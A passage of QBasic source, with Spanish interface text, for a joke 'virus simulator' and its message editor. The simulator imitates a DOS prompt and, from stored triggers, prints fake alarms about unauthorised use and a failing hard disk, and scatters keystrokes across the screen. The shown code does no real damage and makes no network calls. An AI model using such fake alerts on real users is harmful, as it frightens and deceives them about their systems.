PUT #1, 2 + LSET valid$ = "*" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + END IF + + MaxRecord = VAL(IoMaxRecord$) + + + help$(1) = "Comando reaccionante... " + + help$(2) = "Reaccion " + help$(3) = "Reaccion " + help$(4) = "Reaccion " + help$(5) = "Reaccion " + help$(6) = "Reaccion " + + col(1) = 2: Vis(1) = 10: Max(1) = 10 + + col(2) = 21: CurrRowt(2) = 3: Vis(2) = 20: Max(2) = 20 + col(3) = 21: CurrRowt(3) = 4: Vis(3) = 20: Max(3) = 20 + col(4) = 21: CurrRowt(4) = 5: Vis(4) = 20: Max(4) = 20 + col(5) = 21: CurrRowt(5) = 6: Vis(5) = 20: Max(5) = 20 + col(6) = 21: CurrRowt(6) = 7: Vis(6) = 20: Max(6) = 20 + + CurrRowt = 3 + + 'Draw Screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + box 2, 1, 24, 12 + box 2, 20, 8, 41 + box 18, 20, 24, 51 + LOCATE 19, 21: PRINT "? Pregunta de 1 digitos" + LOCATE 20, 21: PRINT "X# Respuesta a X, " + LOCATE 21, 21: PRINT "X% Futura ampliaci¢n " + LOCATE 22, 21: PRINT "X! Futura ampliaci¢n " + + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80); + LOCATE 1, 5: PRINT "Modificador de Comandos de JD_Virus Simuler, por JD..." + + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 3, 2: PRINT " Comando: " + LOCATE 4, 2: PRINT "ÄÄÄÄÄÄÄÄÄÄ" + u1x$ = "ßßßßßßßßßß" + u1$ = " " + CurrTopline = 1 + CurrRow = 1 + CurrCol = 1 + + GOSUB EditTransPrintWholeScreen + + PrintHelpLine help$(CurrCol) + "| " + + GOSUB EditTransGetLine + GOSUB EditTransPrintLine + + finished = FALSE + + + 'Loop until is pressed + DO + GOSUB EditTransShowCursor 'Show Cursor, Wait for key + DO: Kbd$ = INKEY$: LOOP UNTIL Kbd$ <> "" + GOSUB EditTransHideCursor + + IF Kbd$ >= " " AND Kbd$ < "~" OR Kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB EditTransEditItem + END IF + + SELECT CASE Kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EditTransMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EditTransMoveDown + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + CurrCol = (CurrCol + 3) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = (CurrCol) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 5 + CASE CHR$(0) + "<" 'F2 + finished = TRUE + CASE CHR$(0) + "C" 'F9 + GOSUB EditTransAddRecord + CASE CHR$(0) + "D" 'F10 + GOSUB EditTransDeleteRecord + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EditTransShowCursor: + COLOR colors(8, ColorPref), colors(9, ColorPref) + LOCATE CurrRow + 4, col(CurrCol) + SELECT CASE CurrCol + CASE 1 + PRINT LEFT$(CurrString$(CurrCol), Vis(CurrCol)); + CASE 2, 3, 4, 5, 6 + LOCATE CurrRowt, 21: PRINT LEFT$(CurrString$(CurrRowt), Vis(CurrCol)); + END SELECT + RETURN + + +EditTransHideCursor: + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE CurrRow + 4, col(CurrCol) + SELECT CASE CurrCol + CASE 1 + PRINT LEFT$(CurrString$(CurrCol), Vis(CurrCol)); + CASE 2, 3, 4, 5, 6 + LOCATE CurrRowt, 21: PRINT LEFT$(CurrString$(CurrRowt), Vis(CurrCol)); + END SELECT + RETURN + + +EditTransEditItem: + + CurrRecord = CurrTopline + CurrRow - 1 + COLOR colors(8, ColorPref), colors(9, ColorPref) + + SELECT CASE CurrCol + CASE 1 + Kbd$ = GetString$(CurrRow + 4, col(CurrCol), Kbd$, new$, Vis(CurrCol), Max(CurrCol)) + CurrString$(CurrCol) = new$ + GOSUB EditTransputLine + GOSUB EditTransGetLine + + CASE 2, 3, 4, 5, 6 + Kbd$ = GetString$(CurrRowt, 21, Kbd$, new$, Vis(CurrCol), Max(CurrCol)) + + CurrString$(CurrRowt) = new$ + + GOSUB EditTransputLine + GOSUB EditTransGetLine + + CASE ELSE + END SELECT + GOSUB EditTransPrintLine + RETURN + +EditTransMoveUp: + IF CurrCol >= 2 THEN + IF CurrRowt = 3 THEN + CurrRowt = 7 + + ELSE + CurrRowt = CurrRowt - 1 + + END IF + ELSE + + IF CurrRow = 1 THEN + IF CurrTopline = 1 THEN + BEEP + ELSE + CurrTopline = 19 + GOSUB EditTransGetLine + + END IF + ELSE + CurrRow = CurrRow - 1 + GOSUB EditTransGetLine + + END IF + + END IF + GOSUB EditTransPrintLine + RETURN +EditTransMoveDown: + + IF CurrCol >= 2 THEN + IF CurrRowt = 7 THEN + CurrRowt = 3 + + ELSE + CurrRowt = CurrRowt + 1 + + + END IF + ELSE + + IF (CurrRow + CurrTopline - 1) >= MaxRecord THEN + BEEP + ELSE + IF CurrRow = 19 THEN + CurrTopline = 1 + GOSUB EditTransGetLine + + ELSE + CurrRow = CurrRow + 1 + GOSUB EditTransGetLine + END IF + END IF + END IF + GOSUB EditTransPrintLine + RETURN + +EditTransPrintLine: + COLOR colors(7, ColorPref), colors(4, ColorPref) + CurrRecord = CurrTopline + CurrRow - 1 + LOCATE CurrRow + 4, 2 + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT " "; + ELSE + + IF LTRIM$(RTRIM$(CurrString$(1))) <> "" THEN PRINT CurrString$(1); ELSE PRINT " "; + IF LTRIM$(RTRIM$(CurrString$(3))) <> "" THEN LOCATE 3, 21: PRINT CurrString$(3); ELSE LOCATE 3, 21: PRINT " "; + IF LTRIM$(RTRIM$(CurrString$(4))) <> "" THEN LOCATE 4, 21: PRINT CurrString$(4); ELSE LOCATE 4, 21: PRINT " "; + IF LTRIM$(RTRIM$(CurrString$(5))) <> "" THEN LOCATE 5, 21: PRINT CurrString$(5); ELSE LOCATE 5, 21: PRINT " "; + IF LTRIM$(RTRIM$(CurrString$(6))) <> "" THEN LOCATE 6, 21: PRINT CurrString$(6); ELSE LOCATE 6, 21: PRINT " "; + IF LTRIM$(RTRIM$(CurrString$(7))) <> "" THEN LOCATE 7, 21: PRINT CurrString$(7); ELSE LOCATE 7, 21: PRINT " "; + + + END IF + RETURN + + +EditTransDeleteRecord: + IF MaxRecord = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopline + CurrRow - 1 + MaxRecord = MaxRecord - 1 + a = CurrRecord + WHILE a <= MaxRecord + GET #1, a + 2 + PUT #1, a + 1 + + a = a + 1 + WEND + + LSET valid$ = "*" + LSET IoMaxRecord$ = RTRIM$(LTRIM$(STR$(MaxRecord))) + PUT #1, 1 + GOSUB EditTransPrintWholeScreen + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord > MaxRecord THEN + GOSUB EditTransMoveUp + END IF + GOSUB EditTransGetLine + + END IF + LOCATE 1, 1: PRINT MaxRecord + RETURN + +EditTransAddRecord: + temp = CurrRecord + CurrRecord = CurrTopline + CurrRow - 1 + IF MaxRecord > 18 THEN + BEEP + CurrRecord = temp + ELSE + + a = MaxRecord + WHILE a > CurrRecord + GET #1, a + 1 + PUT #1, a + 2 + + a = a - 1 + WEND + + MaxRecord = MaxRecord + 1 + LSET IoDate$ = "" + LSET IoRef$ = "" + LSET IoDos$ = "" + LSET IoTres$ = "" + LSET IoCuatro$ = "" + LSET IoCinco$ = "" + + PUT #1, CurrRecord + 2 + LSET valid$ = "*" + LSET IoMaxRecord$ = RTRIM$(LTRIM$(STR$(MaxRecord))) + PUT #1, 1 + GOSUB EditTransPrintWholeScreen + GOSUB EditTransGetLine + END IF + LOCATE 1, 2: PRINT RTRIM$(LTRIM$(STR$(MaxRecord))) + RETURN + +EditTransPrintWholeScreen: + temp = CurrRow + FOR CurrRow = 1 TO 19 + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord <= MaxRecord THEN + GOSUB EditTransGetLine + END IF + GOSUB EditTransPrintLine + NEXT CurrRow + CurrRow = temp + RETURN + + +EditTransputLine: + CurrRecord = CurrTopline + CurrRow - 1 + LSET IoDate$ = CurrString$(1) + LSET IoRef$ = CurrString$(3) + LSET IoDos$ = CurrString$(4) + LSET IoTres$ = CurrString$(5) + LSET IoCuatro$ = CurrString$(6) + LSET IoCinco$ = CurrString$(7) + PUT #1, CurrRecord + 1 + RETURN + +EditTransGetLine: + CurrRecord = CurrTopline + CurrRow - 1 + GET #1, CurrRecord + 1 + CurrString$(1) = IoDate$ + CurrString$(3) = IoRef$ + CurrString$(4) = IoDos$ + CurrString$(5) = IoTres$ + CurrString$(6) = IoCuatro$ + CurrString$(7) = IoCinco$ + RETURN + +END SUB + +'GetString$: +' Given a row and col, and an initial string, edit a string +' VIS is the length of the visible field of entry +' MAX is the maximum number of characters allowed in the string +FUNCTION GetString$ (row, col, start$, end$, Vis, Max) + Curr$ = LEFT$(start$, Max) + IF Curr$ = CHR$(8) THEN Curr$ = "" + + LOCATE , , 1 + + finished = FALSE + DO + GOSUB GetStringShowText + GOSUB GetStringGetKey + + IF LEN(Kbd$) > 1 THEN + finished = TRUE + GetString$ = Kbd$ + ELSE + SELECT CASE Kbd$ + CASE CHR$(13), CHR$(27), CHR$(9) + finished = TRUE + GetString$ = Kbd$ + + CASE CHR$(8) + IF Curr$ <> "" THEN + Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) + END IF + + CASE " " TO "}" + IF LEN(Curr$) < Max THEN + Curr$ = Curr$ + Kbd$ + ELSE + BEEP + END IF + + CASE ELSE + BEEP + END SELECT + END IF + + LOOP UNTIL finished + + end$ = Curr$ + LOCATE , , 0 + EXIT FUNCTION + + +GetStringShowText: + LOCATE row, col + IF LEN(Curr$) > Vis THEN + PRINT RIGHT$(Curr$, Vis); + ELSE + PRINT Curr$; SPACE$(Vis - LEN(Curr$)); + LOCATE row, col + LEN(Curr$) + END IF + RETURN + +GetStringGetKey: + Kbd$ = "" + WHILE Kbd$ = "" + Kbd$ = INKEY$ + WEND + RETURN +END FUNCTION + +FUNCTION GetString2$ (start$, end$, Vis%, Max%, row%, col%) +PRINT start$; + + + IF Curr$ = CHR$(8) THEN Curr$ = "" + + LOCATE , , 1 + + finished = FALSE + DO + GOSUB GetStringShowText2 + GOSUB GetStringGetKey2 + + IF LEN(Kbd$) > 1 THEN + finished = TRUE + GetString2$ = Kbd$ + ELSE + SELECT CASE Kbd$ + CASE CHR$(13), CHR$(27), CHR$(9) + finished = TRUE + GetString2$ = Kbd$ + + CASE CHR$(8) + IF Curr$ <> "" THEN + Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) + IF LEN(Curr$) >= 0 THEN + LOCATE CSRLIN, POS(0) - 1: PRINT " "; + IF LEN(Curr$) >= 1 THEN LOCATE CSRLIN, POS(0) - 2 ELSE LOCATE CSRLIN, POS(0) - 1 + END IF + END IF + + CASE " " TO "}" + IF LEN(Curr$) < Max THEN + Curr$ = Curr$ + Kbd$ + ELSE + BEEP + END IF + + CASE ELSE + BEEP + END SELECT + END IF + + LOOP UNTIL finished + + end$ = Curr$ + LOCATE , , 0 + EXIT FUNCTION + + +GetStringShowText2: + + IF LEN(Curr$) > Vis THEN + PRINT RIGHT$(Curr$, Vis); + ELSE + PRINT RIGHT$(Curr$, 1); + + + END IF + RETURN + +GetStringGetKey2: + Kbd$ = "" + WHILE Kbd$ = "" + Kbd$ = INKEY$ + WEND + RETURN +END FUNCTION + +'Initialize: +' Read colors in and set up assembly routines +SUB Initialize + + WIDTH , 25 + VIEW PRINT + + FOR ColorSet = 1 TO 4 + FOR X = 1 TO 10 + READ colors(X, ColorSet) + NEXT X + NEXT ColorSet + + LoadState + +END SUB + +'LoadState: +' Load color preferences and account info from M_VIR.INI +SUB LoadState + + OPEN "M_VIR.INI" FOR INPUT AS #1 + INPUT #1, ColorPref + + CLOSE + +END SUB + +'Menu: +' Handles Menu Selection for a single menu (either sub menu, or menu bar) +' currChoiceX : Number of current choice +' maxChoice : Number of choices in the list +' choice$() : Array with the text of the choices +' itemRow() : Array with the row of the choices +' itemCol() : Array with the col of the choices +' help$() : Array with the help text for each choice +' barMode : Boolean: TRUE = menu bar style, FALSE = drop down style +' +' Returns the number of the choice that was made by changing currChoiceX +' and returns the scan code of the key that was pressed to exit +' +FUNCTION Menu (CurrChoiceX, MaxChoice, choice$(), ItemRow(), ItemCol(), help$(), BarMode) + + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR k = 2 TO 24: LOCATE k, 1: PRINT SPACE$(80); : NEXT + + + + CurrChoice = CurrChoiceX + + 'if in bar mode, color in menu bar, else color box/shadow + 'bar mode means you are currently in the menu bar, not a sub menu + IF BarMode THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 1 + PRINT SPACE$(80); + ELSE + + COLOR colors(7, ColorPref), colors(4, ColorPref) + box ItemRow(1) - 1, ItemCol(1) - 1, ItemRow(MaxChoice) + 1, ItemCol(1) + LEN(choice$(1)) + 1 + + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR a = 1 TO MaxChoice + 1 + LOCATE ItemRow(1) + a - 1, ItemCol(1) + LEN(choice$(1)) + 2 + PRINT CHR$(178); CHR$(178); + NEXT a + LOCATE ItemRow(MaxChoice) + 2, ItemCol(MaxChoice) + 2 + PRINT STRING$(LEN(choice$(MaxChoice)) + 2, 178); + END IF + + 'print the choices + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR a = 1 TO MaxChoice + LOCATE ItemRow(a), ItemCol(a) + PRINT choice$(a); + NEXT a + + finished = FALSE + + WHILE NOT finished + + GOSUB MenuShowCursor + GOSUB MenuGetKey + GOSUB MenuHideCursor + + SELECT CASE Kbd$ + CASE CHR$(0) + "H": GOSUB MenuUp + CASE CHR$(0) + "P": GOSUB MenuDown + CASE CHR$(0) + "K": GOSUB MenuLeft + CASE CHR$(0) + "M": GOSUB MenuRight + CASE CHR$(13): GOSUB MenuEnter + CASE CHR$(27): GOSUB MenuEscape + CASE ELSE: BEEP + END SELECT + WEND + + Menu = CurrChoice + + EXIT FUNCTION + + +MenuEnter: + finished = TRUE + RETURN + +MenuEscape: + CurrChoice = 0 + finished = TRUE + RETURN + +MenuUp: + IF BarMode THEN + BEEP + ELSE + CurrChoice = (CurrChoice + MaxChoice - 2) MOD MaxChoice + 1 + END IF + RETURN + +MenuLeft: + + IF BarMode THEN + CurrChoice = (CurrChoice + MaxChoice - 2) MOD MaxChoice + 1 + ELSE + + CurrChoice = -2 + + + + + + finished = TRUE + END IF + RETURN + +MenuRight: + IF BarMode THEN + CurrChoice = (CurrChoice) MOD MaxChoice + 1 + ELSE + CurrChoice = -3 + finished = TRUE + END IF + RETURN + +MenuDown: + IF BarMode THEN + finished = TRUE + ELSE + CurrChoice = (CurrChoice) MOD MaxChoice + 1 + END IF + RETURN + +MenuShowCursor: + COLOR colors(8, ColorPref), colors(9, ColorPref) + LOCATE ItemRow(CurrChoice), ItemCol(CurrChoice) + PRINT choice$(CurrChoice); + PrintHelpLine help$(CurrChoice) + RETURN + +MenuGetKey: + Kbd$ = "" + WHILE Kbd$ = "" + Kbd$ = INKEY$ + WEND + RETURN + +MenuHideCursor: + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE ItemRow(CurrChoice), ItemCol(CurrChoice) + PRINT choice$(CurrChoice); + RETURN + + +END FUNCTION + +'MenuSystem: +' Main routine that controls the program. Uses the MENU function +' to implement menu system and calls the appropriate function to handle +' the user's selection +SUB MenuSystem + + DIM choice$(20), menuRow(20), menuCol(20), help$(20) + LOCATE , , 0 + choice = 1 + finished = FALSE + + WHILE NOT finished + GOSUB MenuSystemMain + + SubChoice = -1 + WHILE SubChoice < 0 + SELECT CASE choice + + CASE 1: GOSUB MenuSystemFile + CASE 2: GOSUB MenuSystemColors + CASE 3: GOSUB MenuSystemCredits + + END SELECT + + + SELECT CASE SubChoice + + CASE -2 + IF choice = 1 THEN choice = 3 + IF choice = 2 THEN choice = 1 + IF choice = 3 THEN choice = 2 + + 'choice = (SubChoice + 1) MOD 4 + 1 + + CASE -3 + choice = (choice) MOD 4 + 1 + + END SELECT + WEND + WEND + EXIT SUB + + +MenuSystemMain: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + box 9, 19, 14, 61 + Center 11, "Use las teclas de direcci¢n para el men£" + Center 12, "Presione Entrar para elegir elemento" + + choice$(1) = " Archivo " + choice$(2) = " Colores " + choice$(3) = " Creditos " + + menuRow(1) = 1: menuCol(1) = 2 + menuRow(2) = 1: menuCol(2) = 11 + menuRow(3) = 1: menuCol(3) = 67 + + help$(1) = "Modificar Mensajes / Salir" + help$(2) = "Fijar color en pantalla" + help$(3) = "Creditos del Modificador Simuler" + + DO + NewChoice = Menu((choice), 3, choice$(), menuRow(), menuCol(), help$(), TRUE) + LOOP WHILE NewChoice = 0 + choice = NewChoice + RETURN + +MenuSystemFile: + + choice$(1) = " Modificar Mens." + choice$(2) = " A¤adir Return's" + choice$(3) = " Simulador " + choice$(4) = " Salir " + + menuRow(1) = 3: menuCol(1) = 2 + menuRow(2) = 4: menuCol(2) = 2 + menuRow(3) = 5: menuCol(3) = 2 + menuRow(4) = 6: menuCol(4) = 2 + + help$(1) = "Modificar Mensajes de JD_Virus Simuler" + help$(2) = "A¤adir Retornos Magicos (Bad Return!!)" + help$(3) = "Simulador del JD_Virus" + help$(4) = "Salir de JD_Virus Modificador" + + SubChoice = Menu(1, 4, choice$(), menuRow(), menuCol(), help$(), FALSE) + + SELECT CASE SubChoice + CASE 1: EditAccounts + CASE 3: Simulador + CASE 2: BackSpace + CASE 4: finished = TRUE + CASE ELSE + END SELECT + RETURN + + +MenuSystemColors: + choice$(1) = " Monocrom tico " + choice$(2) = " Cyan/Azul " + choice$(3) = " Azul/Cyan " + choice$(4) = " Rojo/Gris " + + menuRow(1) = 3: menuCol(1) = 11 + menuRow(2) = 4: menuCol(2) = 11 + menuRow(3) = 5: menuCol(3) = 11 + menuRow(4) = 6: menuCol(4) = 11 + + help$(1) = "Color para presentaci¢n monocrom tico y LCD" + help$(2) = "Color presentado cyan" + help$(3) = "Color presentado azul" + help$(4) = "Color presentado rojo" + + SubChoice = Menu(1, 4, choice$(), menuRow(), menuCol(), help$(), FALSE) + + SELECT CASE SubChoice + CASE 1 TO 4 + ColorPref = SubChoice + SaveState + CASE ELSE + END SELECT + RETURN + +MenuSystemCredits: + choice$(1) = " Creditos " + + menuRow(1) = 3: menuCol(1) = 67 + + help$(1) = "Creditos del JD_Virus Modificador" + + SubChoice = Menu(1, 1, choice$(), menuRow(), menuCol(), help$(), FALSE) + + SELECT CASE SubChoice + CASE 1 + box 9, 19, 14, 63 + Center 10, "JD_Virus Simuler Modificador por Jos‚ David" + Center 11, "Gracias especiales a Sol Negro, quien" + Center 12, "me suguirio esta idea." + SLEEP + + CASE ELSE + END SELECT + RETURN + +END SUB + +'PrintHelpLine: +' Prints help text on the bottom row in the proper color +SUB PrintHelpLine (help$) + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 25, 1 + PRINT SPACE$(80); + Center 25, help$ +END SUB + +'SaveState: +' Save color preference and account information to "M_VIR.INI" data file. +SUB SaveState + OPEN "M_VIR.INI" FOR OUTPUT AS #2 + PRINT #2, ColorPref + + CLOSE #2 +END SUB + +SUB Simulador +COLOR 15, 0 +CLS +PRINT " Para salir Teclee JD_EXIT" + + '***** simulador ***** +REDIM Curr$(19), One$(19), Two$(19), Three$(19), Four$(19), Five$(19), Erp$(4) +DIM Accion(25), Reinicio(25), TiemDur(25), MenPod$(25) + +RANDOMIZE TIMER + +PRINT +row% = CSRLIN - 1 +hud = 80 +old$ = TIME$ + + + + + OPEN "Crack.dat" FOR RANDOM AS #2 LEN = 58 + FIELD #2, 2 AS IoA$, 2 AS IoR$, 1 AS IoT$, 50 AS IoMen$ + FIELD #2, 1 AS valid$, 2 AS IoMaxRecord$ + GET #2, 39 + kies = VAL(IoMaxRecord$) + ema = 1 + IF valid$ = "*" THEN + DO WHILE ema <= kies + GET #2, ema + 1 + 39 + Accion(ema) = VAL(IoA$) + Reinicio(ema) = VAL(IoR$) + TiemDur(ema) = VAL(IoT$) + MenPod$(ema) = IoMen$ + ema = ema + 1 + LOOP + END IF +CLOSE #2 + +RetVacio = -5 + + +Simulador: + +row% = row% + 1 +a$ = "" +hud = hud + 1 + + +IF RetVacio >= 100 THEN RetVacio = -10 +busqueda = 1: BusquedaForzada = 0 + +rqow% = CSRLIN +rQlin% = POS(1) +LOCATE 1, 1: PRINT RetVacio +LOCATE rqow%, rQlin% + + +DO WHILE busqueda <= kies + + +IF Reinicio(busqueda) = RetVacio THEN + IF Accion(busqueda) = 0 THEN + FOR tiemdedur = 1 TO TiemDur(busqueda) + PRINT : PRINT MenPod$(busqueda): PRINT + NEXT + RetVacio = RetVacio + 1 + IF RetVacio = 25 THEN RetVacio = -10 + GOTO Simulador + END IF + + IF Accion(busqueda) >= 1 AND Accion(busqueda) <= 19 THEN + + ra = Accion(busqueda) + RetVacio = RetVacio + 1 + IF RetVacio = 99 THEN RetVacio = -10 + BusquedaForzada = 1 + GOTO BusquedaForzadaA + BusquedaForzada = 0 + END IF + + IF Accion(busqueda) >= 20 AND Accion(busqueda) <= 30 THEN + IF Accion(busqueda) = 20 THEN + FOR tiemdedur = 1 TO TiemDur(busqueda) + + DO WHILE kdb$ = "" OR kdb$ = CHR$(13): kdb$ = INKEY$: LOOP + DO + kdb$ = "" + DO WHILE kdb$ = "": kdb$ = INKEY$: LOOP + col1 = INT(RND * 79) + 1 + lin1 = INT(RND * 22) + 1 + LOCATE lin1, col1: PRINT kdb$ + LOOP WHILE kdb$ <> CHR$(13) + NEXT + RetVacio = RetVacio + 1 + IF RetVacio = 25 THEN RetVacio = -10 + GOTO Simulador + END IF + + IF Accion(busqueda) = 21 THEN + + LISTEN$ = "T180 o2 P2 P8 L8 GGG L2 E-": FATE$ = "P24 P8 L8 FFF L2 D": PLAY LISTEN$ + FATE$ + Erp$(1) = " ALERTA ALERTA ALERTA ALERTA ALERTA " + Erp$(2) = " El ordenador esta siendo usado sin permiso, y el disco duro se ha saltado" + Erp$(3) = " un BIT, ha acelerado y le ha estallado un cilindro, la pista esta escarchada" + Erp$(4) = " SYSTEM ERROR INT 24 ____ CABEZAS FRENANDO DISCO DURO ______" + FOR tiemdedur = 1 TO TiemDur(busqueda) + PRINT + FOR proe = 1 TO 4 + PRINT + FOR wetewr = 1 TO 80 + PRINT MID$(Erp$(proe), wetewr, 1); + + NEXT + NEXT + NEXT + PLAY "MBO0L32EFGEFDCEFGEFDCMBO0L32MBO0L32MBO0L32EFGEFDCEFGEFDCMBO0L32" + RetVacio = RetVacio + 1 + IF RetVacio = 25 THEN RetVacio = -10 + GOTO Simulador + END IF + + + END IF +END IF +busqueda = busqueda + 1 +LOOP + +IF VAL(MID$(TIME$, 4, 2)) >= VAL(MID$(old$, 4, 2)) + 3 THEN PRINT : PRINT : PRINT "La humedad relativa dentro del ordenador es del " + STR$(hud) + "%": PRINT : old$ = TIME$ +PRINT +promt$ = "C:\" + LTRIM$(RTRIM$(ch$)) + ">" +'PRINT promt$: +Kbd$ = GetString2$(promt$, end$, 80, 80, LEN(promt$), col%) +IF RTRIM$(LTRIM$(UCASE$(end$))) = "JD_EXIT" THEN EXIT SUB + +a$ = end$ + +IF RTRIM$(LTRIM$(a$)) = "" THEN + RetVacio = RetVacio + 1: GOTO Simulador +END IF + +IF LEFT$(UCASE$(LTRIM$(RTRIM$(a$))), 2) = "" THEN GOTO Simulador +IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 8) = "" THEN PRINT "Comando o nombre de archivo incorrecto": GOTO Simulador +IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 2) = ".." OR MID$(UCASE$(RTRIM$(LTRIM$(a$))), 3, 2) = ".." THEN + IF LEN(LTRIM$(RTRIM$(ch$))) = 0 THEN GOTO Simulador + con = 0: L = 0: lug = 0: p = 0 + DO + con = con + 1 + L = L - 1 + IF LEN(LTRIM$(RTRIM$(ch$))) + L - 1 = -1 THEN ch$ = "": vez = 0: GOTO Simulador + IF MID$(LTRIM$(RTRIM$(ch$)), LEN(LTRIM$(RTRIM$(ch$))) + L, 1) = "\" THEN lug = LEN(LTRIM$(RTRIM$(ch$))) + L - 1: con = LEN(LTRIM$(RTRIM$(ch$))) + LOOP WHILE con <> LEN(LTRIM$(RTRIM$(ch$))) + IF p = 1 THEN ch$ = "": vez = 0: GOTO Simulador ELSE ch$ = MID$(LTRIM$(RTRIM$(ch$)), 1, lug): vez = 1: GOTO Simulador +END IF + + +IF LEFT$(UCASE$(a$), 2) = "CD" AND vez = 0 THEN + sum = 0: l2 = 4 + DO + sum = sum + 1 + l2 = l2 + 1 + IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador + LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$))) + ch$ = LTRIM$(RTRIM$(ch$)) + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador +END IF + +IF LEFT$(UCASE$(a$), 2) = "CD" THEN + sum = 0: l2 = 4 + DO + sum = sum + 1 + l2 = l2 + 1 + IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador + LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$))) + IF LEFT$(UCASE$(a$), 2) = "CD" THEN ch$ = ch$ + "\" + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador + +END IF + +'******************************************** +'COPIAR DESDE AQUI SI NO SE A¥ADE NADA ARRIBA +'******************************************** +RESTORE +b$ = "" +w$ = UCASE$(LTRIM$(RTRIM$(a$))) +RESTORE datas + +WHILE b$ <> "*" +READ b$, wqw$ +IF RTRIM$(LEFT$(w$, 4)) = b$ OR RTRIM$(LEFT$(w$, 2)) = b$ THEN GOTO Accion +WEND + + + a = 1: b = 0 + + DO WHILE b <= LEN(w$) + 1 + b = b + 1 + IF MID$(w$, b, 1) = " " THEN pal$ = LEFT$(w$, b): EXIT DO + LOOP + valor = 0 + q1 = 0: q2 = 0: q3 = 0: q4 = 0: q5 = 0 + pal$ = w$ + +BusquedaForzadaA: + + OPEN "crack.dat" FOR RANDOM AS #1 LEN = 113 + FIELD #1, 10 AS IoDate$, 20 AS IoRef$, 20 AS IoDos$, 20 AS IoTres$, 20 AS IoCuatro$, 20 AS IoCinco$ + FIELD #1, 1 AS valid$, 2 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ = "*" THEN + MaxRecord = VAL(IoMaxRecord$) + + IF BusquedaForzada <> 1 THEN ra = 1 + + DO WHILE ra <= MaxRecord + + GET #1, ra + 1 + Curr$ = IoDate$ + One$ = IoRef$ + Two$ = IoDos$ + Three$ = IoTres$ + Four$ = IoCuatro$ + Five$ = IoCinco$ + IF RTRIM$(LTRIM$(pal$)) = RTRIM$(LTRIM$(UCASE$(Curr$))) OR BusquedaForzada = 1 THEN + IF BusquedaForzada = 1 THEN PRINT RTRIM$(LTRIM$(UCASE$(Curr$))) + + IF RIGHT$(RTRIM$(One$), 1) = "?" THEN PRINT : PRINT One$; : INPUT p$ ELSE PRINT : PRINT : PRINT One$; + + IF RIGHT$(RTRIM$(Two$), 1) = "?" THEN PRINT Two$; : INPUT "", p$: q1 = 1 + IF MID$(Two$, 2, 1) = "#" THEN IF RIGHT$(Two$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Two$, 3, 18); : q = 1 + IF q1 = 0 THEN PRINT Two$ + + IF RIGHT$(RTRIM$(Three$), 1) = "?" THEN PRINT : PRINT Three$; : INPUT "", p$: q2 = 1 + IF MID$(Three$, 2, 1) = "#" THEN q2 = 1: IF LEFT$(Three$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Three$, 3, 18); : q2 = 1 + IF q2 = 0 THEN PRINT Three$ + + IF RIGHT$(RTRIM$(Four$), 1) = "?" THEN PRINT : PRINT Four$; : INPUT "", p$: q3 = 1 + IF MID$(Four$, 2, 1) = "#" THEN q3 = 1: IF LEFT$(Four$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Four$, 3, 18); + IF q3 = 0 THEN PRINT Four$ + + IF RIGHT$(RTRIM$(Five$), 1) = "?" THEN PRINT : PRINT Five$; : INPUT "", p$: q4 = 1 + IF MID$(Five$, 2, 1) = "#" THEN q4 = 1: IF LEFT$(Five$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Five$, 3, 18); + IF q4 = 0 THEN PRINT Five$ + + valor = 1 + EXIT DO + END IF + ra = ra + 1 + LOOP + END IF +CLOSE + + IF valor = 0 THEN PRINT : PRINT "Comando o nombre de archivo incorrecto" + +GOTO Simulador + + +Accion: +SELECT CASE VAL(wqw$) + CASE 1 + PRINT : PRINT + PRINT " Volumen en unidad C no tiene etiqueta" + PRINT " N£mero de serie de volumen es 1138-1600" + PRINT + PRINT " Directorio de C:\" + ch$ + PRINT + PRINT "Archivo no se encontr¢" + PRINT + GOTO Simulador + + CASE 2 + + PRINT : PRINT "Imposible acceder a unidad 